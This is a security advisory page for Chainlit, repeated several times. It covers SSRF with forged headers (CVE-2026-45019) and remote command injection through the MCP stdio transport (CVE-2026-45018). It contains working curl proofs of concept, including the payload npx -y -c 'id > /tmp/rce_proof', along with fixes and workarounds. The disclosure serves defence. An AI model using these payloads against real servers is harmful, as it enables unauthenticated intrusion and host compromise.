chainlit

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for sse and streamable-http transports accepts a user-controlled url and optional headers dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as Authorization and Cookie.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45019 | | Affected — URL-based SSRF | >=2.4.0rc0, <2.12.0 (sink present since MCP support was introduced, PR #1977) | | Affected — attacker-controlled header forwarding (amplifies the above) | >=2.6.4, <2.12.0 (added in PR #2292) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

The Pydantic request models in backend/chainlit/types.py define url as a bare str with no scheme check, no private IP filtering, and no allowlist. When clientType is "sse" or "streamable-http", the handler in backend/chainlit/server.py passes the URL and headers directly to the MCP SDK's sse_client() or streamablehttp_client(), which make outbound HTTP requests from the server.

The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added streamable-http support and introduced attacker-controlled headers forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like Authorization and Cookie.

This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).

Vulnerable code: backend/chainlit/server.py — connect_mcp handler Sink: backend/chainlit/server.py — sse_client / streamablehttp_client

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.

1. Start a listener to capture the server-side request:

nc -l 4445

2. Establish a Socket.IO session and trigger the SSRF:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "ssrf",
    "clientType": "streamable-http",
    "name": "probe",
    "url": "http://127.0.0.1:4445/internal-admin",
    "headers": {
      "Authorization": "Bearer attacker-controlled-token",
      "X-Internal-Secret": "exfiltrated",
      "Cookie": "session=hijacked"
    }
  }'

3. The listener captures the server-side request with all attacker-controlled headers:

POST /internal-admin HTTP/1.1
Host: 127.0.0.1:4445
Authorization: Bearer attacker-controlled-token
X-Internal-Secret: exfiltrated
Cookie: session=hijacked

Impact

High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.

Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue state-changing, authenticated requests to internal APIs: the PoC above is itself a POST carrying a forged Authorization header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections:

• User-provided MCP connections now require explicit opt-in via features.mcp.user_servers.enabled = true, plus a non-empty allowed_urls allowlist. The default is deny-all — no outbound URL is permitted unless explicitly listed.
• URLs are validated: http/https only, with scheme/host/port/path-prefix matching against the allowlist. Requests with ./.. path segments, encoded separators (%2e, %2f, %5c), double-encoded sequences (%25), backslashes, or non-ASCII characters in the path are rejected.
• Restricted headers are stripped from user-supplied headers before the request is sent: Cookie, Host, Forwarded, X-Forwarded-*, X-Real-IP, Via, Proxy-Authorization, X-HTTP-Method-Override, X-Original-URL, X-Rewrite-URL, and hop-by-hop headers. Authorization is deliberately still forwarded — for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained by allowed_urls.
• Named (developer-configured) server URLs and headers are no longer returned to the browser, on either the success or the error path, and GET /project/settings no longer discloses allowed_urls.

During remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place — they are hardening measures for the new allowlist:

• HTTP redirects are no longer followed on MCP transports. The underlying SDK hardcoded follow_redirects=True, so only the first hop of a request would ever have been checked against an allowlist.
• Every outgoing transport request is now re-checked against the connection's grant, not just the initial URL. The MCP SSE protocol takes its POST target from the server's endpoint event, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host.

A companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018).
• Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint).
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] / allowed_urls configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. Where features.mcp.user_servers.enabled = true, an anonymous client can therefore still drive outbound requests to any URL on the allowed_urls allowlist, with an Authorization header of its own choosing.
• There is no private-IP or IP-literal blocking. The allowlist is hostname-based, so a DNS name that resolves to a loopback, link-local, or cloud metadata address is not rejected. Closing this without introducing a TOCTOU window requires resolve-then-pin validation, which is deliberately deferred rather than shipped as a partial mitigation.
• Header filtering in 2.12.0 is a denylist, not an allowlist. An allowlist model is the intended future direction.

Credits

Vipin vipin@spl.team SPL security@spl.team

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45018 | | Affected | >=2.4.0rc0, <2.12.0 with features.mcp.enabled = true (introduced in PR #1977, the change that added MCP support) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.

Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.

There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.

The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.

Vulnerable code: backend/chainlit/mcp.py — validate_mcp_command() Sink: backend/chainlit/server.py — StdioServerParameters

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.

1. Establish a Socket.IO session to get a valid sessionId:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'

2. Send the command injection payload:

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "rce-proof",
    "clientType": "stdio",
    "name": "poc",
    "fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
  }'

The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.

Impact

Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019).
• Restrict outbound process-spawning / network capability from the host running Chainlit.
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. An anonymous client can therefore still cause developer-configured stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication.
• No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.

Credits

Vipin vipin@spl.team SPL security@spl.team

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for sse and streamable-http transports accepts a user-controlled url and optional headers dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as Authorization and Cookie.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45019 | | Affected — URL-based SSRF | >=2.4.0rc0, <2.12.0 (sink present since MCP support was introduced, PR #1977) | | Affected — attacker-controlled header forwarding (amplifies the above) | >=2.6.4, <2.12.0 (added in PR #2292) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

The Pydantic request models in backend/chainlit/types.py define url as a bare str with no scheme check, no private IP filtering, and no allowlist. When clientType is "sse" or "streamable-http", the handler in backend/chainlit/server.py passes the URL and headers directly to the MCP SDK's sse_client() or streamablehttp_client(), which make outbound HTTP requests from the server.

The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added streamable-http support and introduced attacker-controlled headers forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like Authorization and Cookie.

This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).

Vulnerable code: backend/chainlit/server.py — connect_mcp handler Sink: backend/chainlit/server.py — sse_client / streamablehttp_client

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.

1. Start a listener to capture the server-side request:

nc -l 4445

2. Establish a Socket.IO session and trigger the SSRF:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "ssrf",
    "clientType": "streamable-http",
    "name": "probe",
    "url": "http://127.0.0.1:4445/internal-admin",
    "headers": {
      "Authorization": "Bearer attacker-controlled-token",
      "X-Internal-Secret": "exfiltrated",
      "Cookie": "session=hijacked"
    }
  }'

3. The listener captures the server-side request with all attacker-controlled headers:

POST /internal-admin HTTP/1.1
Host: 127.0.0.1:4445
Authorization: Bearer attacker-controlled-token
X-Internal-Secret: exfiltrated
Cookie: session=hijacked

Impact

High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.

Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue state-changing, authenticated requests to internal APIs: the PoC above is itself a POST carrying a forged Authorization header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections:

• User-provided MCP connections now require explicit opt-in via features.mcp.user_servers.enabled = true, plus a non-empty allowed_urls allowlist. The default is deny-all — no outbound URL is permitted unless explicitly listed.
• URLs are validated: http/https only, with scheme/host/port/path-prefix matching against the allowlist. Requests with ./.. path segments, encoded separators (%2e, %2f, %5c), double-encoded sequences (%25), backslashes, or non-ASCII characters in the path are rejected.
• Restricted headers are stripped from user-supplied headers before the request is sent: Cookie, Host, Forwarded, X-Forwarded-*, X-Real-IP, Via, Proxy-Authorization, X-HTTP-Method-Override, X-Original-URL, X-Rewrite-URL, and hop-by-hop headers. Authorization is deliberately still forwarded — for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained by allowed_urls.
• Named (developer-configured) server URLs and headers are no longer returned to the browser, on either the success or the error path, and GET /project/settings no longer discloses allowed_urls.

During remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place — they are hardening measures for the new allowlist:

• HTTP redirects are no longer followed on MCP transports. The underlying SDK hardcoded follow_redirects=True, so only the first hop of a request would ever have been checked against an allowlist.
• Every outgoing transport request is now re-checked against the connection's grant, not just the initial URL. The MCP SSE protocol takes its POST target from the server's endpoint event, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host.

A companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018).
• Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint).
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] / allowed_urls configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. Where features.mcp.user_servers.enabled = true, an anonymous client can therefore still drive outbound requests to any URL on the allowed_urls allowlist, with an Authorization header of its own choosing.
• There is no private-IP or IP-literal blocking. The allowlist is hostname-based, so a DNS name that resolves to a loopback, link-local, or cloud metadata address is not rejected. Closing this without introducing a TOCTOU window requires resolve-then-pin validation, which is deliberately deferred rather than shipped as a partial mitigation.
• Header filtering in 2.12.0 is a denylist, not an allowlist. An allowlist model is the intended future direction.

Credits

Vipin vipin@spl.team SPL security@spl.team

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45018 | | Affected | >=2.4.0rc0, <2.12.0 with features.mcp.enabled = true (introduced in PR #1977, the change that added MCP support) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.

Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.

There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.

The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.

Vulnerable code: backend/chainlit/mcp.py — validate_mcp_command() Sink: backend/chainlit/server.py — StdioServerParameters

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.

1. Establish a Socket.IO session to get a valid sessionId:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'

2. Send the command injection payload:

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "rce-proof",
    "clientType": "stdio",
    "name": "poc",
    "fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
  }'

The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.

Impact

Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019).
• Restrict outbound process-spawning / network capability from the host running Chainlit.
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. An anonymous client can therefore still cause developer-configured stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication.
• No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.

Credits

Vipin vipin@spl.team SPL security@spl.team

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for sse and streamable-http transports accepts a user-controlled url and optional headers dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as Authorization and Cookie.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45019 | | Affected — URL-based SSRF | >=2.4.0rc0, <2.12.0 (sink present since MCP support was introduced, PR #1977) | | Affected — attacker-controlled header forwarding (amplifies the above) | >=2.6.4, <2.12.0 (added in PR #2292) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

The Pydantic request models in backend/chainlit/types.py define url as a bare str with no scheme check, no private IP filtering, and no allowlist. When clientType is "sse" or "streamable-http", the handler in backend/chainlit/server.py passes the URL and headers directly to the MCP SDK's sse_client() or streamablehttp_client(), which make outbound HTTP requests from the server.

The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added streamable-http support and introduced attacker-controlled headers forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like Authorization and Cookie.

This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).

Vulnerable code: backend/chainlit/server.py — connect_mcp handler Sink: backend/chainlit/server.py — sse_client / streamablehttp_client

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.

1. Start a listener to capture the server-side request:

nc -l 4445

2. Establish a Socket.IO session and trigger the SSRF:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "ssrf",
    "clientType": "streamable-http",
    "name": "probe",
    "url": "http://127.0.0.1:4445/internal-admin",
    "headers": {
      "Authorization": "Bearer attacker-controlled-token",
      "X-Internal-Secret": "exfiltrated",
      "Cookie": "session=hijacked"
    }
  }'

3. The listener captures the server-side request with all attacker-controlled headers:

POST /internal-admin HTTP/1.1
Host: 127.0.0.1:4445
Authorization: Bearer attacker-controlled-token
X-Internal-Secret: exfiltrated
Cookie: session=hijacked

Impact

High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.

Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue state-changing, authenticated requests to internal APIs: the PoC above is itself a POST carrying a forged Authorization header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections:

• User-provided MCP connections now require explicit opt-in via features.mcp.user_servers.enabled = true, plus a non-empty allowed_urls allowlist. The default is deny-all — no outbound URL is permitted unless explicitly listed.
• URLs are validated: http/https only, with scheme/host/port/path-prefix matching against the allowlist. Requests with ./.. path segments, encoded separators (%2e, %2f, %5c), double-encoded sequences (%25), backslashes, or non-ASCII characters in the path are rejected.
• Restricted headers are stripped from user-supplied headers before the request is sent: Cookie, Host, Forwarded, X-Forwarded-*, X-Real-IP, Via, Proxy-Authorization, X-HTTP-Method-Override, X-Original-URL, X-Rewrite-URL, and hop-by-hop headers. Authorization is deliberately still forwarded — for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained by allowed_urls.
• Named (developer-configured) server URLs and headers are no longer returned to the browser, on either the success or the error path, and GET /project/settings no longer discloses allowed_urls.

During remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place — they are hardening measures for the new allowlist:

• HTTP redirects are no longer followed on MCP transports. The underlying SDK hardcoded follow_redirects=True, so only the first hop of a request would ever have been checked against an allowlist.
• Every outgoing transport request is now re-checked against the connection's grant, not just the initial URL. The MCP SSE protocol takes its POST target from the server's endpoint event, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host.

A companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018).
• Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint).
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] / allowed_urls configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. Where features.mcp.user_servers.enabled = true, an anonymous client can therefore still drive outbound requests to any URL on the allowed_urls allowlist, with an Authorization header of its own choosing.
• There is no private-IP or IP-literal blocking. The allowlist is hostname-based, so a DNS name that resolves to a loopback, link-local, or cloud metadata address is not rejected. Closing this without introducing a TOCTOU window requires resolve-then-pin validation, which is deliberately deferred rather than shipped as a partial mitigation.
• Header filtering in 2.12.0 is a denylist, not an allowlist. An allowlist model is the intended future direction.

Credits

Vipin vipin@spl.team SPL security@spl.team

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45018 | | Affected | >=2.4.0rc0, <2.12.0 with features.mcp.enabled = true (introduced in PR #1977, the change that added MCP support) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.

Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.

There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.

The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.

Vulnerable code: backend/chainlit/mcp.py — validate_mcp_command() Sink: backend/chainlit/server.py — StdioServerParameters

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.

1. Establish a Socket.IO session to get a valid sessionId:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'

2. Send the command injection payload:

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "rce-proof",
    "clientType": "stdio",
    "name": "poc",
    "fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
  }'

The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.

Impact

Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.

Fix

